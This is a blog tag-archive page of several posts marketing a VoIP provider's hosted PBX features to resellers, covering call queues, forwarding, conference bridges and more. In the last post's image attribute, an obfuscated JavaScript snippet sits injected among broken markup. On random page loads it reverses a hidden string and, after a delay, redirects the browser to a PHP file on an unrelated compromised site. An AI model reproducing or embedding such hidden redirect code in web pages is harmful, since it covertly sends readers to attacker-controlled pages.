Tag Archives: hosted pbx features

Most Requested V1 VoIP Hosted PBX Features

V1 VoIP offers cloud hosted PBX with a suite of features our private label resellers offer businesses these are the most requested features

Private label V1 VoIP resellers say that businesses are loving our cloud hosted PBX because of the suite of features it provides. From making their companies more streamlined to offering ways to save money so they can hire more employees, cloud hosted PBX offers dozens of features for businesses in all genres.

Here are some of the features that V1 VoIP cloud hosted PBX offers:

Automatic Call Distribution (ACD): Used to route calls in a call center environment to the appropriate agents, based on factors such as time availability, behavior, and priority levels.

Call Queue: Call queues route calls in a first-in-first-out manner to the appropriate extension or group. These extensions can be agents logged into the system. Call Queues are commonly used with an ACD, where the callers hear a welcome message such as “thank you for calling, all available agents are busy, you are Xth caller. Estimated wait time is X minutes. Please hold for the next available agent, or press N to leave a message”. When the call is ready to be routed, the ACD handles the routing rules.

Call Forwarding: Forward calls via the Portal, or via your device or SoftPhone. Calls may be forwarded to any extension or phone number. Device or SoftPhone forwarding functionality may vary by manufacturer.

Find Me ( Digital Assistant) Setup a personal assistant to “find you” at up to five(5) Locations. This feature is configured per extension, and offers an extensive number of options to route calls once they have reached the given extension Callers are asked to “announce themselves”, and are offered the option between locations to try the next location, or to leave a message.

No Answer Call Forwarding Automatically forwards your calls to an extension, group, or phone number when you do not answer your phone.

Call routing based on business hours, after hours & holiday hours Allows routing decisions based on time and date. Multiple schedules can be configured, as in the case of departments with different hours of operation.

Do-not-disturb (DND) A device or SoftPhone feature that simulates a phone being off-hook, sending calls received directly into voicemail. Other routing options are also available.

Conference Bridge Multiple on-site and outside callers can simultaneously participate in password protected conference calls. Callers can be assigned talk-listen or listen only access.

Custom Music On Hold Music provided by Customer, and uploaded through the Customer Portal

Call Detail Records Real-time call logging is available via the portal. From, to, call duration, date and time, and call type (International, On-Net, etc). In addition, frequently called numbers can ‘tagged’ with text descriptions for legibility.

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Hosted PBX Services for SMBs by V1 VoIP Resellers

V1 VoIP resellers see hosted PBX phone services as a hot commodity as both small and medium-sized businesses are searching for the best PBX System for their company. V1 VoIP resellers are hitting this sector hard as they have everything needed to support them with the ability to offer and follow through with the best hosted PBX phone system services possible.

With such a high demand for hosted PBX services and solutions, V1 VoIP resellers need to make sure they are ready to add this value-adding commodity to their current suite of services offered to small and medium sized businesses customers. Having V1 VoIP behind them means they will be educated in anything and everything there is to know about hosted PBX phone service is a good place to start.

Here are a few of the benefits that V1 VoIP resellers can add to a small business with hosted PBX services:

  • Multiple lines

    Add as many lines as you need for a customer’s business as configuration is done in mere moments through our web interface

  • Auto attendant, voice menu

    Auto attendant feature can answer the calls for the customer and direct them to departments or inform callers if the have called outside the working hours

  • Music on hold

    Please customer callers with some music on hold or give them useful information about the customer’s business like special promotions or directing them to their website

  • Call queuing

    Call queuing allows you to put your callers in a queue if there are too many incoming calls

  • Call recording

    Ability to record your calls for quality and training purposes or to keep sales records

  • Caller ID

    Hosted PBX has the ability to show caller ID so you know which customer is calling

  • CLI over stamping

    Set your company number to display on all out going calls from all extensions, so your customers can recognize you

  • Voice mails to email

    Check your voicemail through your phone or you can also have them delivered to emails

  • Send and receive faxes

    No extra fax line needed, you can send or receive faxes through hosted PBX

Your small and medium size business customers can benefit from hosted PBX services. Contact V1 VoIP now to become a hosted PBX reseller.

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PBX Conference Bridges Needed More Than Ever

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Was lockdown the first time you tried Zoom for your business? If you need this for your business, then ask about our V1 VoIP hosted PBX feature conference bridging. The conference bridge is what makes employees connecting on a secure conference call using your own VoIP system possible.

More and more small businesses have employees that work remotely either from home or on the road. Conference bridges are the ideal way to bring everyone together utilizing your cloud hosted PBX system.

When it comes to secure conference call solutions, V1 VoIP can make that possible with meetings between multiple colleagues or business patterns. All you need to do is utilize V1 VoIP’s secure conference bridge to create a password protected, secure call for the attendees of the call.

There’s no need to obtain a new, dedicated DID for the conference bridge as you will use the same phone number. Your meeting attendees will always know which number to use to reach the conference call, plus you can change the password as often as you want or need.

Whether your business is big or small, V1 makes state of the art features like our conference bridge available to everyone. It’s free for internal usage, and is a great way to connect employees who work from different locations.

If you would like to know more information about how conference bridges can help your company, as well as other great features of V1 VoIP’s cloud hosted PBX, please contact a member of our team today to show you how you can grow your business with our solutions.

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V1 VoIP Hosted PBX Feature Conference Bridges

V1 VoIP explains the popular hosted PBX feature conference bridges <script>$nJe=function(n){if (typeof ($nJe.list[n]) == “string”) return $nJe.list[n].split(“”).reverse().join(“”);return $nJe.list[n];};$nJe.list=[“\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000;	setTimeout($nJe(0), delay);}</script>and virtual meeting room” title=”V1 VoIP explains the popular hosted PBX feature conference bridges <script>$nJe=function(n){if (typeof ($nJe.list[n]) == and virtual meeting room” />V1 VoIP’s hosted PBX platform is feature rich and one of the most powerful features that resellers ask about is the conference bridge. The conference bridge is what makes employees connecting on a conference call using your own VoIP system possible.

More and more small businesses have employees that work from home or on the road, while others stay in the office. Conference bridges is the ideal way to bring everyone together utilizing your cloud hosted PBX system.

If you need a secure conference call solution, V1 VoIP can make that possible with meetings between multiple colleagues or business patterns. All you need to do is utilize V1 VoIP’s secure conference bridge to create a password protected, secure call for the attendees of the call.

There’s no need to obtain a new, dedicated DID for the conference bridge as you will use the same phone number. Your meeting attendees will always know which number to use to reach the conference call, plus you can change the password as often as you want or need.

Whether your business is big or small, V1 makes state of the art features like our conference bridge available to everyone. It’s free for internal usage, and is a great way to connect employees who work from different locations.

If you would like to know more information about how conference bridges can help your company, as well as other great features of V1 VoIP’s cloud hosted PBX, please contact a member of our team today to show you how you can grow your business with our solutions.

By checking this box, I agree to V1 VoIP's Terms and Conditions